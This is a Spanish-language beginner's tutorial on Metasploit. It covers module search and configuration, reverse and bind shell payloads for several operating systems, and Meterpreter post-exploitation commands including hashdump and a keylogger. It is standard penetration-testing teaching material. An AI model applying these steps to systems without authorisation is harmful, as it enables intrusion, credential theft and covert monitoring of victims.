Metasploit
tools
Metasploit es un proyecto de código abierto para la seguridad informática desarrollado por rapid7, que proporciona información acerca de vulnerabilidades de seguridad y ayuda en tests de penetración "Pentesting" y el desarrollo de firmas para sistemas de detección de intrusos.
conceptos confusos para principiantes:
Exploit: Código que aprovecha una vulnerabilidad.
Payload: Qué quieres ejecutar una vez explotada la vulnerabilidad
Módulo: Unidad en Metasploit que puede ser exploit, payload o auxiliary
Instalación de Metasploit
Metasploit viene instalado por defecto en sistemas de pentesting como ParrotOS o Kali Linux, puedes descargarlo manualmente en:
iniciar metasploit
en la terminal de comandos, se utiliza el siguiente comando para iniciar Metasploit:
msfconsoleComandos de Metasploit
# buscar exploits, payloads o modulos
search <nombre>
# cargar un modulo
use <modulo>
# ver informacion del modulo cargado
info
# ver opciones/configuraciones necesarias del modulo
show options
# configurar parametros/opciones
set <param> <valor>
# correr el modulo o exploit
exploit
runcomo usamos los comandos para iniciar un ataque en la maquina vulnerable?:
Meterpreter
Meterpreter es un payload avanzado que da una consola interactiva con muchas funciones de post-explotación.
# reverse shell simple
windows/meterpreter/reverse_tcp
# Conexion sobre HTTP que lo hace mas silencioso
windows/meterpreter/reverse_http
# Conexion sobre HTTPS que lo hace mas silencioso x2
windows/meterpreter/reverse_https
# conexion mediante bind shell (fuerzas a que la victima abra un puerto y el atacante se conecta)
windows/meterpreter/bind_tcpLinux Shells
Cuando no se requiere Meterpreter, se usan reverse shells simples.
# reverse shell simple
linux/x86/shell/reverse_tcp
# reverse shell simple que utiliza bash
cmd/unix/reverse_bash
# reverse shell adaptable
cmd/unix/genericMacOS Shell payloads
reverse shells que son utilizadas para MACs específicamente vulnerables
osx/x86/shell_reverse_tcpGeneric Payloads
Payloads que funcionan en muchos entornos y son adaptables
generic/shell_reverse_tcp
# bind shell
generic/shell_bind_tcp
# linux reverse shell adaptable
cmd/unix/genericAtaques por metasploit
podemos iniciar buscando por alguna vulnerabilidad que hayamos encontrado en el sistema objetivo:
search <vulnerabilidad_aqui>te debería lanzar una lista con todos los módulos encontrados, para de seleccionar uno hacemos lo siguiente:
use <modulo_aqui>ahora debemos ver las opciones del modulo elegido, para posteriormente configurarlo:
show optionsdebemos configurar los parámetros para adaptarlos a nuestra necesidad, estos son los parámetros mas comunes en cada exploit:
# usamos la instruccion set para cambiar el valor del parametro
# victima
set RHOST <ip_aqui> # ip objetivo
set RHOSTS <ip_aqui>/<rango_aqui> # rango de IPs del objetivo
set RPORT <puerto_aqui> # elegir el puerto del servicio vulnerable
# atacante
set LHOST <ip_aqui> # ip del atacante
set LPORT <puerto_aqui> # puerto donde el atacante recibe la conexion
set PAYLOAD <payload_aqui> # configurar un nombre de payload especifico, depende del exploit si configurarlo o no
set TARGET <sistema> # especificar el OS de la victima (depende del exploit)
set SSL true # Algunos exploits funcionan tanto en HTTP como en HTTPS. Si el servicio corre sobre HTTPS, debes activarlo
para enviar el ataque podemos ejecutar cualquiera de estos comandos:
run
exploitPost explotación en Metasploit
La Post explotación es todo lo que haces después de comprometer la máquina, por ejemplo:
Recolectar información
Escalar privilegios
Moverte lateralmente
Mantener acceso (persistencia)
Exfiltrar datos
varios módulos de Metasploit se encargan de automatizar este proceso por comandos simples.
Cuando nosotros logramos la explotación, deberia salirnos un mensaje como este:
[*] Meterpreter session 1 openedpa'ra ver las sesiones activas podemos utilizar el siguiente comando
sessions -ipara entrar a una sesión solo especificamos su identificador:
sessions -i 1ahora, si queremos recolectar informacion del sistema tenemos comandos en modulos como meterpreter que nos ayudan con esa tarea:
sysinfo # Info del sistema operativo
getuid # Usuario actual
ipconfig # IPs de la maquina victima
ps # Procesos en ejecucion
pwd # Carpeta actual
hashdump # extraer hashes de Windows
keyscan_start / keyscan_dump # keylogger
screenshot # tomar captura de pantallapara concluir, vamos a terminar explicando los auxiliares y complementar la sección:
Los auxiliares (auxiliary modules) de Metasploit son programas que realizan una amplia gama de tareas de seguridad informática, pero que no son exploits directos, ya que no buscan comprometer un sistema de forma remota. Se utilizan principalmente para escaneo, fuzzing, rastreo de información y para realizar tareas de administración o de servidor dentro de un entorno de pruebas de penetración, ayudando a recopilar datos y entender el estado de una red o sistema.
show auxiliary # ver todos los auxiliaresLast updated